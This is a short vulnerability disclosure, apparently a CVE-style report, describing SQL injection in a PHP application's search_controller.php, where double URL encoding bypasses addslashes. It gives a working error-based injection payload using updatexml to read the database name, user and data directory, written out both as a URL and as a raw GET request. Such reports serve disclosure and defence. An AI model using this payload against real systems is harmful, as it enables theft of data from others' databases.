Vulnerability Cause: search_controller.php does not use addslashes after urldecode, allowing the preceeding addslashes to be bypassed by URL double encoding.
Vulnerability Impact: Potential leakage of sensitive information from the user database.
Reproduction Steps:
Deploy this system locally and open a browser to access this URL: http://localhost:9091/index.php?keyword=%2527%20AND%20updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%20%20--%2520
The result of accessing the URL is shown in the following image, successfully utilizing statements like database(), user(),和 datadir to read the database name, username, 和 data path respectively.
Alternatively, you can use an MITM tool like Burp Suite to send the following URL request,
GET /index.php?keyword=%2527%20AND%20updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%20%20--%2520 HTTP/1.1